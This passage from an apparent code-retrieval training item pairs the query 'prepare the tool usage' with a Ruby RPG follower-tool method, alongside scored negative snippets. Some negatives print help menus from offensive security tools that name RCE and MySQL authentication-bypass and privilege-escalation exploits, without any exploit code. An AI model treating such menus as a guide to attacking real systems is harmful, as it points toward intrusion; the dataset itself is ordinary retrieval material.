"def users_following_on_yammer(yammer_user, client = self.yammer_client)\n return [] unless client.authenticated?\n Rails.logger.debug {\"#{Time.now.to_formatted_s(:db)} - Fetching users that this user follows: (#{self.log_label})\"}\n\n set = client.users_followed_by(yammer_user.id).users.try(:collect) do |yc|\n User.from_yammer(yc)\n end\n return set || []\n rescue YammerClient::Unauthorized => e\n return [] \n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow(other_user)\n following << other_user\n end",
"def follow! followee\n return if following? followee\n following << followee\n save\n followee.followers << self\n followee.save\n end",
"def phase_3(player, bots)\r\n puts \" ----------------------- \"\r\n puts \" -- TOUR ENNEMI -- \"\r\n puts \" ----------------------- \"\r\n puts \"\"\r\n i = 0\r\n bots.each do |bot|\r\n if i > 0 && bot.life_points > 0\r\n bot.attacks(player)\r\n end\r\n i += 1\r\n end\r\nend",
"def affichage_player\n\n\n end",
"def unfollowed(other_user)\n passive_relationships.find_by(follower_id: other_user.id).try(:destroy) \n end",
"def motivate_you(msg)\n return if Variables::Constants::IGNORED_USERS.include?(msg.user.nick)\n motivate_else(msg, msg.user.nick)\n end",
"def set_whitelist_follower\n @whitelist_follower = WhitelistFollower.find(params[:id])\n end",
"def faft_robot(user)\n end",
"def followers\n\t Friendship.findFriends(self,\"follow\",\"from\")\n end",
"def revert_to_follower(user, target)\n return false if user.blank? || target.blank?\n transaction do\n friend = self.find(:first, :conditions => {:inviter_id => user.id, :invited_id => target.id})\n friend.destroy if friend\n friend = self.find(:first, :conditions => {:inviter_id => target.id, :invited_id => user.id})\n if friend\n return friend.update_attribute(:status, MuckFriends::FOLLOWING)\n else\n return false\n end\n end\n end",
"def enemies_attack\n @enemies.each do |mechant| #player contient Josiane et José\n if mechant.life_points > 0\n mechant.attacks(@human_player)\n end #end of if \n end #end of do\n end",
"def ^( enemy )\n fight( enemy, 13)\n end",
"def anchored; end",
"def someone_did_gain_privilege(stem, channel, nick, privilege, bestower)\n end",
"def followers_count_in_words(kase)\n case kase.kind\n when :idea then (\"%{people} like this idea\" % {:people => \"%d person\" / kase.followers_count})\n when :question then (\"%{people} have this question\" % {:people => \"%d person\" / kase.followers_count})\n when :question then (\"%{people} have this problem\" % {:people => \"%d person\" / kase.followers_count})\n when :praise then (\"%{people} gave same praise\" % {:people => \"%d person\" / kase.followers_count})\n end\n end",
"def followers \r\n\tlovers = []\r\n\tself.likes.each do |l|\r\n\t\tlovers << l.user\r\n\tend\r\n\tself.feature_groups.each do |fg|\r\n\t\tfg.features.each do |f|\r\n\t\t\tf.likes.each do |l|\r\n\t\t\t\tlovers << l.user\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\treturn lovers.unique\r\n end",
"def diff_followers_to_following(bot)\n follower_names = []\n get_followers(bot).users.each do |user|\n follower_names << user[:screen_name]\n end\n following_names = []\n get_following(bot).users.each do |user|\n following_names << user[:screen_name]\n end\n not_followed_names = []\n following_names.each do |following|\n if !follower_names.include? following\n not_followed_names << following\n end\n end\n not_followed_names\n end",
"def next_follow\n end",
"def recruit_follower(follower)\n Bloodoath.new(self,follower)\n end",
"def tb_hl_follow(rel_points)\n p = $game_player\n x, y = p.real_x, p.real_y\n \n return unless x != @tlx || y != @tly\n \n ok = !@tlx.nil? && !@tly.nil?\n @spriteset.remove_group(TB_AOE)\n rel_points.each{ |v| @spriteset.add_highlight_tb(x+v.x,y+v.y,nil,false,:attack_2, TB_AOE) } \n @tlx, @tly = x, y\n end",
"def unfollow(actor)\n contact = contact_to!(actor)\n contact.update_column(:blocked, true)\n contact\n end",
"def friends_management\n\t\tfriends = @client.friend_ids.to_a\n\t\tfollowers = @client.follower_ids.to_a\n\n\t\tto_follow = followers - friends\n\t\t# to_unfollow = friends - followers\n\n\t\tto_follow.each do |id|\n\t\t\tfollow(id)\n\t\tend\n\n\t\t# 一旦停止 \n\t\t# to_unfollow.each do |id|\n\t\t# \tunfollow(id)\n\t\t# end\n\tend",
"def move_follower_to_character\n return unless @follower\n return if $game_variables[Yuki::Var::FM_Sel_Foll] > 0\n @follower.move_follower_to_character # Fix left<->right stair issue but there's still a graphic glitch ^^'\n @follower.x = @x\n @follower.y = @y\n end",
"def can_follow?(username)\n @original.nil? || username.casecmp(@original) == 0 || twitter.friendship?(username, @original)\n end",
"def can_follow?(username)\n @original.nil? || username.casecmp(@original) == 0 || twitter.friendship?(username, @original)\n end",
"def remove_followables(follower)\n super(followable)\n Socialization::RedisCache::Follow.remove_followables(follower)\n end"
] |
[
"0.62837034",
"0.61277694",
"0.57517105",
"0.57078433",
"0.567871",
"0.5663807",
"0.5632203",
"0.56276125",
"0.5564676",
"0.5562084",
"0.5558963",
"0.5549383",
"0.5549383",
"0.5530228",
"0.5513008",
"0.5503921",
"0.55034167",
"0.5496588",
"0.54303735",
"0.537202",
"0.5351675",
"0.53503144",
"0.53502065",
"0.5332441",
"0.5325677",
"0.5316917",
"0.53143466",
"0.5298717",
"0.5294467",
"0.5290711",
"0.5269049",
"0.5264173",
"0.525732",
"0.52509",
"0.52509",
"0.524825",
"0.52461916",
"0.52387905",
"0.5238105",
"0.5235543",
"0.5234853",
"0.5228051",
"0.522152",
"0.5199142",
"0.51940006",
"0.51907754",
"0.51886314",
"0.5184961",
"0.517919",
"0.51738757",
"0.516804",
"0.51593614",
"0.5147917",
"0.5146897",
"0.51387256",
"0.51262194",
"0.5125861",
"0.51256",
"0.5120193",
"0.51151115",
"0.5113269",
"0.51119083",
"0.51066333",
"0.51024836",
"0.5096995",
"0.5096385",
"0.50846153",
"0.50819093",
"0.5081744",
"0.507887",
"0.507796",
"0.507796",
"0.507796",
"0.507796",
"0.507796",
"0.507796",
"0.5077446",
"0.5075921",
"0.5073105",
"0.5060059",
"0.5051235",
"0.504872",
"0.50469506",
"0.5045547",
"0.50444573",
"0.5043683",
"0.5039934",
"0.50388795",
"0.5037357",
"0.50330544",
"0.5030373",
"0.50263804",
"0.50225604",
"0.5021576",
"0.50150526",
"0.5013164",
"0.5006244",
"0.50047755",
"0.49996826",
"0.49996826",
"0.49996367"
] |
0.0
|
-1
|
prepare the tool usage
|
def setup_followertool_usage
@range_view = 2
@range_view = 6 if fo_tool.tool_data("Tool Target = ", false) == "true" ||
fo_tool.tool_data("Tool Special = ", false) == "autotarget"
if fo_tool.is_a?(RPG::Skill) || fo_tool.is_a?(RPG::Item)
if fo_tool.scope.between?(1, 6)
setup_target
else ; @targeted_character = $game_player
@range_view = 6
end
# prepare tool for invoke follower
elsif fo_tool.is_a?(RPG::Weapon) || fo_tool.is_a?(RPG::Armor)
invoke = fo_tool.tool_data("Tool Invoke Skill = ")
if invoke > 0
if $data_skills[invoke].scope.between?(1, 6)
setup_target
else ; @targeted_character = $game_player
@range_view = 6
end
else
# no invoke skill just set up an enemy target
setup_target
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def usage; end",
"def usage; end",
"def print_usage; end",
"def docopt_usage \n doc = [\"\\nUsage:\"];\n @actions.each do |_name, action|\n doc << \" run #{action.usage}\" unless action.usage == false\n end\n basic_flags = @version ? \"(-h|--help|--version)\" : \"(-h|--help)\"\n if @superspace\n doc << \" run #{@superspace} #{basic_flags}\\n\"\n else\n doc << \" run #{basic_flags}\\n\"\n end\n doc\n end",
"def usage\n usages = <<-EOF\n #{program_name} list probe_packages [options] > OUTPUT/FILE\n Or: #{program_name} create mo < INPUT/JSON/FILE > OUTPUT/FILE\n EOF\n usages.gsub!(/^\\s+/, '')\n usages.gsub!(/\\n$/, '')\n usages\n end",
"def do_setup; \"\" end",
"def usage\n puts \"\\nUsage: #{$PROGRAM_NAME} operation [option1] [option2]\\n\"\n puts \"\\n\\toperations: peers|replications|testfailover[or test]|testcleanup[or cleanuptest]|failover[or recovery]\"\n puts \"\\n\\te.g. #{$PROGRAM_NAME} peers\"\n puts \"\\te.g. #{$PROGRAM_NAME} replications ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} replications <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testfailover [or test] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testfailover [or test] ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} testcleanup [or cleanuptest] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testcleanup [or cleanuptest] cleanuptest ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} failover [or recovery] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} failover [or recovery] recovery ALL\"\n puts \"\\n\"\n \nend",
"def usage\n STDERR.puts \"Usage: context [use|view|set]\"\n exit 1\nend",
"def usage\n basename = File.basename($0)\n necessary_inputs = \"<omsadmin_conf> <cert> <key> <pid> <proxy> <os_info> <install_info>\"\n print(\"\\nTelemetry tool for OMS Agent\\n\"\\\n \"ruby #{basename} #{necessary_inputs}\\n\"\\\n \"\\nOptional: Add -v for verbose output\\n\")\nend",
"def help\n\tusage\n\tputs \"This tool is oriented to separate web pages into segments called blocks, based on the structural and visual properties\"\nend",
"def tools_setup(config)\n config[:tools].each_key do |name|\n tool = config[:tools][name]\n\n # populate name if not given\n tool[:name] = name.to_s if (tool[:name].nil?)\n\n # handle inline ruby string substitution in executable\n if (tool[:executable] =~ RUBY_STRING_REPLACEMENT_PATTERN)\n tool[:executable].replace(@system_wrapper.module_eval(tool[:executable]))\n end\n\n # populate stderr redirect option\n tool[:stderr_redirect] = StdErrRedirect::NONE if (tool[:stderr_redirect].nil?)\n\n # populate background execution option\n tool[:background_exec] = BackgroundExec::NONE if (tool[:background_exec].nil?)\n\n # populate optional option to control verification of executable in search paths\n tool[:optional] = false if (tool[:optional].nil?)\n end\n end",
"def usage( extra_usage = '' )\n extra_usage += ' '\n\n print_line <<USAGE\n Usage: #{File.basename( $0 )} #{extra_usage}\\[options\\] url\n\n Supported options:\n\n\n General ----------------------\n\n -h\n --help Output this.\n\n --version Show version information and exit.\n\n -v Be verbose.\n\n --debug Show what is happening internally.\n (You should give it a shot sometime ;) )\n\n --only-positives Echo positive results *only*.\n\n --http-username=<string> Username for HTTP authentication.\n\n --http-password=<string> Password for HTTP authentication.\n\n --http-req-limit=<integer> Concurrent HTTP requests limit.\n (Default: #{@opts.http_req_limit})\n (Be careful not to kill your server.)\n (*NOTE*: If your scan seems unresponsive try lowering the limit.)\n\n --http-queue-size=<integer> Maximum amount of requests to keep in the queue.\n Bigger size means better scheduling and better performance,\n smaller means less RAM consumption.\n (Default: #{@opts.http_queue_size})\n\n --http-timeout=<integer> HTTP request timeout in milliseconds.\n\n --cookie-jar=<filepath> Netscape HTTP cookie file, use curl to create it.\n\n --cookie-string='<name>=<value>; <name2>=<value2>'\n\n Cookies, as a string, to be sent to the web application.\n\n --user-agent=<string> Specify user agent.\n\n --custom-header='<name>=<value>'\n\n Specify custom headers to be included in the HTTP requests.\n (Can be used multiple times.)\n\n --authed-by=<string> E-mail address of the person who authorized the scan.\n (It'll make it easier on the sys-admins during log reviews.)\n (Will be used as a value for the 'From' HTTP header.)\n\n --login-check-url=<url> A URL used to verify that the scanner is still logged in to the web application.\n (Requires 'login-check-pattern'.)\n\n --login-check-pattern=<regexp>\n\n A pattern used against the body of the 'login-check-url' to verify that the scanner is still logged in to the web application.\n (Requires 'login-check-url'.)\n\n Profiles -----------------------\n\n --save-profile=<filepath> Save the current run profile/options to <filepath>.\n\n --load-profile=<filepath> Load a run profile from <filepath>.\n (Can be used multiple times.)\n (You can complement it with more options, except for:\n * --modules\n * --redundant)\n\n --show-profile Will output the running profile as CLI arguments.\n\n\n Crawler -----------------------\n\n -e <regexp>\n --exclude=<regexp> Exclude urls matching <regexp>.\n (Can be used multiple times.)\n\n --exclude-page=<regexp> Exclude pages whose content matches <regexp>.\n (Can be used multiple times.)\n\n -i <regexp>\n --include=<regexp> Include *only* urls matching <regex>.\n (Can be used multiple times.)\n\n --redundant=<regexp>:<limit>\n\n Limit crawl on redundant pages like galleries or catalogs.\n (URLs matching <regexp> will be crawled <limit> amount of times.)\n (Can be used multiple times.)\n\n --auto-redundant=<limit> Only follow <limit> amount of URLs with identical query parameter names.\n (Default: inf)\n (Will default to 10 if no value has been specified.)\n\n -f\n --follow-subdomains Follow links to subdomains.\n (Default: off)\n\n --depth=<integer> Directory depth limit.\n (Default: inf)\n (How deep Arachni should go into the site structure.)\n\n --link-count=<integer> How many links to follow.\n (Default: inf)\n\n --redirect-limit=<integer> How many redirects to follow.\n (Default: #{@opts.redirect_limit})\n\n --extend-paths=<filepath> Add the paths in <file> to the ones discovered by the crawler.\n (Can be used multiple times.)\n\n --restrict-paths=<filepath> Use the paths in <file> instead of crawling.\n (Can be used multiple times.)\n\n --https-only Forces the system to only follow HTTPS URLs.\n\n\n Auditor ------------------------\n\n -g\n --audit-links Audit links.\n\n -p\n --audit-forms Audit forms.\n\n -c\n --audit-cookies Audit cookies.\n\n --exclude-cookie=<name> Cookie to exclude from the audit by name.\n (Can be used multiple times.)\n\n --exclude-vector=<name> Input vector (parameter) not to audit by name.\n (Can be used multiple times.)\n\n --audit-headers Audit HTTP headers.\n (*NOTE*: Header audits use brute force.\n Almost all valid HTTP request headers will be audited\n even if there's no indication that the web app uses them.)\n (*WARNING*: Enabling this option will result in increased requests,\n maybe by an order of magnitude.)\n\n Coverage -----------------------\n\n --audit-cookies-extensively Submit all links and forms of the page along with the cookie permutations.\n (*WARNING*: This will severely increase the scan-time.)\n\n --fuzz-methods Audit links, forms and cookies using both GET and POST requests.\n (*WARNING*: This will severely increase the scan-time.)\n\n --exclude-binaries Exclude non text-based pages from the audit.\n (Binary content can confuse recon modules that perform pattern matching.)\n\n Modules ------------------------\n\n --lsmod=<regexp> List available modules based on the provided regular expression.\n (If no regexp is provided all modules will be listed.)\n (Can be used multiple times.)\n\n\n -m <modname,modname,...>\n --modules=<modname,modname,...>\n\n Comma separated list of modules to load.\n (Modules are referenced by their filename without the '.rb' extension, use '--lsmod' to list all.\n Use '*' as a module name to deploy all modules or as a wildcard, like so:\n xss* to load all xss modules\n sqli* to load all sql injection modules\n etc.\n\n You can exclude modules by prefixing their name with a minus sign:\n --modules=*,-backup_files,-xss\n The above will load all modules except for the 'backup_files' and 'xss' modules.\n\n Or mix and match:\n -xss* to unload all xss modules.)\n\n\n Reports ------------------------\n\n --lsrep=<regexp> List available reports based on the provided regular expression.\n (If no regexp is provided all reports will be listed.)\n (Can be used multiple times.)\n\n --repload=<filepath> Load audit results from an '.afr' report file.\n (Allows you to create new reports from finished scans.)\n\n --report='<report>:<optname>=<val>,<optname2>=<val2>,...'\n\n <report>: the name of the report as displayed by '--lsrep'\n (Reports are referenced by their filename without the '.rb' extension, use '--lsrep' to list all.)\n (Default: stdout)\n (Can be used multiple times.)\n\n\n Plugins ------------------------\n\n --lsplug=<regexp> List available plugins based on the provided regular expression.\n (If no regexp is provided all plugins will be listed.)\n (Can be used multiple times.)\n\n --plugin='<plugin>:<optname>=<val>,<optname2>=<val2>,...'\n\n <plugin>: the name of the plugin as displayed by '--lsplug'\n (Plugins are referenced by their filename without the '.rb' extension, use '--lsplug' to list all.)\n (Can be used multiple times.)\n\n Platforms ----------------------\n\n --lsplat List available platforms.\n\n --no-fingerprinting Disable platform fingerprinting.\n (By default, the system will try to identify the deployed server-side platforms automatically\n in order to avoid sending irrelevant payloads.)\n\n --platforms=<platform,platform,...>\n\n Comma separated list of platforms (by shortname) to audit.\n (The given platforms will be used *in addition* to fingerprinting. In order to restrict the audit to\n these platforms enable the '--no-fingerprinting' option.)\n\n Proxy --------------------------\n\n --proxy=<server:port> Proxy address to use.\n\n --proxy-auth=<user:passwd> Proxy authentication credentials.\n\n --proxy-type=<type> Proxy type; can be http, http_1_0, socks4, socks5, socks4a\n (Default: http)\n\n\nUSAGE\n end",
"def initialize(tool_name, time_used)\n @tool_name = tool_name #make the given tool name into a instance variable to use in other area\n @time = time_used #make the given time used into a instance variable to use in other area\n @tool_health = 100\n @current_time = 0\n end",
"def usage\n puts @usage_text\n end",
"def do_usage()\n puts \"Usage: gamera_dir [flags] server directory\"\n puts \"Import gamera OCR for book into specified TypeWright server from given directory.\"\n puts \"If book does not already exist, issue error.\"\n puts \" -v Verbose output\"\n puts \" -t Test only -- don't actually upload files\"\nend",
"def usage\r\n usages = <<-EOF\r\n #{program_name} httperf|ab PATH/TO/PRESSURE/FILE -s SERVER_IP -p SERVER_PORT\r\n EOF\r\n usages.gsub!(/^\\s+/, '')\r\n usages.gsub!(/\\n$/, '')\r\n usages\r\n end",
"def setup\r\n end",
"def usage(options)\n puts 'Usage : '\n puts \"-r --rakefile RakefileName Load the Rakefile that discribe the workflow. Value: #{options[:conf]}\"\n exit\nend",
"def setup(*_)\n require 'reaper-man'\n location = ReaperMan::Signer::HELPER_COMMAND\n if(location.include?('jar!'))\n tmp_file = Tempfile.new('reaper-man')\n new_location = File.join(Dir.home, File.basename(tmp_file.path))\n tmp_file.delete\n File.open(new_location, 'w') do |file|\n file.puts File.read(location)\n end\n File.chmod(0755, new_location)\n ReaperMan::Signer.send(:remove_const, :HELPER_COMMAND)\n ReaperMan::Signer.const_set(:HELPER_COMMAND, new_location)\n warn \"Updated ReaperMan utility script location: #{new_location}\"\n end\n end",
"def tools\n @tools ||= TOOLS\n end",
"def usage\n puts <<EOF\nUsage:\n #{__FILE__} resource_type.resource_name resource_id [other terraform's parameters]\nEquivalent of:\n terraform import resource_type.resource_name resource_id [other parameters]\nIssues:\n Delete terraform.tfstate before run\nEOF\n exit 1\nend",
"def usage\n puts <<EOU\nAnvändning:\n #{__FILE__} [LÄNGD] [ARGUMENT]\n\nGenerera lösenord\n\nExempel:\n #{__FILE__} 5\n #{__FILE__} 7 -l se\n\nArgument:\n -h, --help Visa denna information\n\n -l, --lang LANG Använd språket LANG för lösenordet (en = Engelska, se = Svenska)\n\n LÄNGD Antal ord i lösenorder\n\nGenererar ett lösenord bestående av LÄNGD antal slumpade ord (Standardlängden är 4 ord).\nKan generera lösenord på både svenska och engelska.\n\nEtt antal slumpade ord hämtas först från en extern ordlista, av dem slumpas sedan LÄNGD antal ord för att bilda lösenordet.\n\nOBS! Mellanslagen är en del av lösenordet!\nEOU\n\n # We also exit the script here..\n exit(0)\nend",
"def display_usage\n end",
"def help options = { :pattern => /.*/, :target => nil}\n puts \"Global helper methods (available on all services): \"\n puts JavaHelpers.format_help_line 'boolean', 'allow_colors', 'true|false', \"Turn coloring on/off\"\n puts JavaHelpers.format_help_line 'EzSecurityToken', 'fake_token', '[auths=TS,S,U]', 'Return a fake security token.'\n puts JavaHelpers.format_help_line 'Visibility', 'fake_vis', 'String - visibility', 'Return a fake Visibility constructed from the given string.'\n puts JavaHelpers.format_help_line 'void', 'write', 'Filename, Stuff to write', 'Write content to a file.'\n puts JavaHelpers.format_help_line 'Set', 'set_of', 'Comma-separated items', 'Get a Java Set of items.'\n puts JavaHelpers.format_help_line 'List', 'list_of', 'Comma-separated items', 'Get a Java List of items.'\n puts \"\\n\"\n\n options[:target] = @artifact_obj.java_class if options[:target].nil?\n actual_methods = JavaHelpers.method_help options[:target], options[:pattern]\n if actual_methods.any?\n puts \"Available methods on #{options[:target]} are:\\n#{actual_methods.join(\"\\n\")}\"\n else\n puts \"No service methods found that match /#{pattern}/!\"\n end\n if @artifact_module.respond_to?(:method_help)\n puts \"\\nCLI Helpers: \"\n puts @artifact_module.method_help.join(\"\\n\")\n end\nend",
"def usage\n abort \"usage: script/geocoder_test environment <non-batch>\"\nend",
"def usage\n puts \"USAGE: ruby site-maker.rb --source-dir=<path-to-source-dir> --dest-dir=<path-to-dest-dir>\"\nend",
"def setup\n add_standard_properties\n #\n create_banner\n create_standard_options\n create_advanced_options\n create_mode_options\n create_application_options\n create_feature_options\n create_tail_options\n #\n parse_options\n load_config_configuration\n create_result_directory\n load_results_archive\n end",
"def usage #:nodoc:\n usage = name.to_s\n usage += ' [command options]' if !flags.empty? || !switches.empty?\n usage += ' ' + @arguments_description if @arguments_description\n usage\n end",
"def usage\n str = @appname + \"\\n\\n\"\n unless @description.empty?\n str += \"DESCRIPTION\\n\"\n str += @description.join + \"\\n\"\n end\n unless @examples.empty?\n str += \"EXAMPLES\\n\"\n str += @examples.join + \"\\n\"\n end\n str += \"OPTIONS\"\n str += @parser.to_s.rstrip + \"\\n\"\n str\n end",
"def usage\n $stderr.puts \"Usage: TestDrive -r[review request num] -d[diff version (defaults latest)] -a [to run rake test automatically] -s [to run script/server automatically] -p [p-value for patch (TestDrive attempts to guess)]\"\n exit(1)\nend",
"def usage\n puts <<EOU\nUSAGE:\n #{__FILE__} [ARGUMENT]\n\nArgument:\n -h, --help Visa denna information\n\n -a, --alias ALIAS Lista alias vars 'alias' matchar ALIAS\n -r, --reciever MOTTAGARE Lista alias vars 'mottagare' matchar MOTTAGARE\n\nTIPS: Använd tillsammans med less om listan är för lång:\n\n #{__FILE__}|less\n\nEOU\n\n # We also exit the script here..\n exit(0)\nend",
"def usage\n puts \"Usage: akaza exec|wsrb|exec_wsrb FILE_NAME\"\nend",
"def gen_usage\n puts 'Usage:'\n puts ' poole [ACTION] [ARG]'\n puts ''\n puts 'Actions:'\n puts ' draft Create a new draft in _drafts with title SLUG'\n puts ' post Create a new timestamped post in _posts with title SLUG'\n puts ' publish Publish the draft with SLUG, timestamping appropriately'\n puts ' unpublish Move a post to _drafts, untimestamping appropriately'\n exit\n end",
"def enable_advanced_debugging_tools=(_arg0); end",
"def setup(options); end",
"def setup(options); end",
"def usage_start\n \"\\\\usage{\"\n end",
"def help\n\t\tself.usage(false)\n\t\texit EX_OK\n\tend",
"def usage\n puts <<End\n\nWarning: This currently attempts to run blkid, fdisk -l, and hdparm -i with sudo, which may prompt for a password.\nThis command may not pass on the password prompt to you but will just sit there.\nIt is recommended that you add those commands to your sudoers file with NOPASSWD so that it won't prompt for a password.\n\nusername ALL = NOPASSWD: \\\n ...\n /usr/bin/du, \\\n /bin/df, \\\n /usr/sbin/smartctl, \\\n /usr/sbin/hddtemp, \\\n /sbin/vol_id, \\\n /sbin/hdparm, \\\n /sbin/blkid, \\\n /sbin/fdisk -l, \\\n\nOptions:\n -d, --device -- groups by device, and shows model name/serial number/disk capacity of each physical device (this is now the default)\n\n --no-color -- disable color\nEnd\n exit 1\nend",
"def setup_help(opts)\n opts.separator ''\n opts.separator <<-USAGE\nUsage:\n travis repositories|repos|rep|r {options}\n travis status|stat|s {options}\n USAGE\n opts.separator ''\n opts.separator <<-FURTHER_HELP\nFurhter Help:\n travis {command} --help\n FURTHER_HELP\n\n yield(opts)\n end",
"def setup\n ''\n end",
"def special_usage\n puts \"Available Options for Specialty Tools Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n puts \"coldfusion\".light_yellow + \" => \".white + \"Coldfusion Tools\".light_red\n puts \"moinmoin\".light_yellow + \" => \".white + \"MoinMoin RCE\".light_red\n puts \"phpcgi\".light_yellow + \" => \".white + \"PHP CGI RCE Tools\".light_red\n puts \"phpBB\".light_yellow + \" => \".white + \"phpBB Tools\".light_red\n puts \"ipb\".light_yellow + \" => \".white + \"IPB Tools\".light_red\n# puts \"joomla\".light_yellow + \" => \".white + \"Joomla! Tools\".light_red\n# puts \"myBB\".light_yellow + \" => \".white + \"MyBB Tools\".light_red\n# puts \"vBulletin\".light_yellow + \" => \".white + \"vBulletin Tools\".light_red\n puts \"wp\".light_yellow + \" => \".white + \"WordPress Tools\".light_red\n puts \"fckeditor\".light_yellow + \" => \".white + \"FCKEditor Tools\".light_red\n print_line(\"\")\nend",
"def usage_page\n Format.usage(\"You can run me with the following flags: #{File.basename(__FILE__)} -[d|e|h] -[f] <path/to/file/if/any>\")\n exit\nend",
"def need_help \n end",
"def setup()\n end",
"def usage\n\t\t$stderr.printf \"usage: %s [ options ]\\n\",$0\n\t\t$stderr.printf \"\\n%s\\n\",$help\n\t\texit 0\n\tend",
"def print_usage\n puts \"USAGE: #{PROGNAME} <ip|host> [warning,critical] [snmp_community]\"\n puts \" Default values: warning=80, critical=90, snmp_community=public\"\nend",
"def usage\n abort \"usage: rails runner #{__FILE__} -- [options]\"\nend",
"def usage\n\tputs <<EOU\nUsage:\tausgaben {j,c,w}[g]add BETRAG [TAGS]\n\tausgaben sum {jo|caro|wir} [MONAT] [JAHR]\n\tausgaben list {jo|caro|wir} [MONAT] [JAHR]\n\tausgaben ausgleich [MONAT] [JAHR]\nEOU\n\texit\nend",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def work_tool(tool)### set and get\r\n @tool = tool\r\n puts \"#{@name} works using a #{@tool} #{return_phtest_writer}\"\r\n end",
"def usage\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" computetoken\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" catalogs\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" catalog\".green + \" <catalog id>\".magenta\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" orgvms\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" orgvapps\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdcs\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta + \" vapps\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta + \" networks\".green\n\tputs \"\\n\"\n\nend",
"def usage\n puts \"usage: ./forecast <[location name]>\"\nend",
"def usage\n $stderr.puts \"usage: #{$PROGRAM_NAME} <repo_name> load_check_head\"\n $stderr.puts \" #{$PROGRAM_NAME} <repo_name> save_check_head <check_head>\"\n $stderr.puts \" #{$PROGRAM_NAME} <repo_name> push_statuses_after_check_head\"\n $stderr.puts \" #{$PROGRAM_NAME} <repo_name> recent_statuses [offset [limit]]\"\n exit 1\nend",
"def usage\n print <<EOUSAGE\n\n#{$0} <Class.som>\n\ngenerates lodable primitive from som-file for class Class.\n\n\nEOUSAGE\nend",
"def dbtools_usage\n puts \"Available Options for Database Tools Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n# puts \"mssqlc \".light_yellow + \" => \".white + \"MS-SQL Client\".light_red\n# puts \"mssql_login \".light_yellow + \" => \".white + \"MS-SQL Login Bruter\".light_red\n puts \"mysql-fu \".light_yellow + \" => \".white + \"MySQL-Fu Client Tool\".light_red\n puts \"mysql_check \".light_yellow + \" => \".white + \"MySQL Credential Check\".light_red\n puts \"mysql_login \".light_yellow + \" => \".white + \"MySQL Login\".light_red\n puts \"auth_bypass \".light_yellow + \" => \".white + \"MySQL Auth Bypass Exploit (CVE-2012-2122)\".light_red\n puts \"mysql_mof \".light_yellow + \" => \".white + \"Windows MySQL Privileged User to SYSTEM MOF Exploit\".light_red\n puts \"mysql_udf \".light_yellow + \" => \".white + \"Windows MySQL Privileged User to SYSTEM UDF Exploit\".light_red\n print_line(\"\")\nend",
"def usage_displayed(is_exit_zero)\n expect_output 'foodcritic [cookbook_paths]'\n\n usage_options.each do |option|\n expect_usage_option(option[:short], option[:long], option[:description])\n end\n\n if is_exit_zero\n assert_no_error_occurred\n else\n assert_error_occurred\n end\n end",
"def run(context)\n yield\n rescue ArgParsingError => e\n require \"toys/utils/help_text\"\n help_text = Utils::HelpText.from_context(context)\n @terminal.puts(e.usage_errors.join(\"\\n\"), :bright_red, :bold)\n @terminal.puts(\"\")\n @terminal.puts(help_text.usage_string(wrap_width: @terminal.width))\n Context.exit(@exit_code)\n end",
"def usage(s)\n puts s\n print <<EOM\nUsage:\n #{$0} [--debug]\n [--conf file]\n [--image image_file]\n [--interval sec]\n [--thres n]\n [--txt text]\n [--allow pat1] [--allow pat2] ...\n [--version]\nExample:\n\nEOM\nend",
"def usage_instructions\n \"Usage: #{$0} (--ec2-user-id | -u) (--aws-access-key-id | -a) (--aws-secret-access-key | -s) (--host_role | -r) (--snapshot | (--restore-most-recent | --start-most-recent) ) [--volume-size] [--tell] [--debug]\"\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
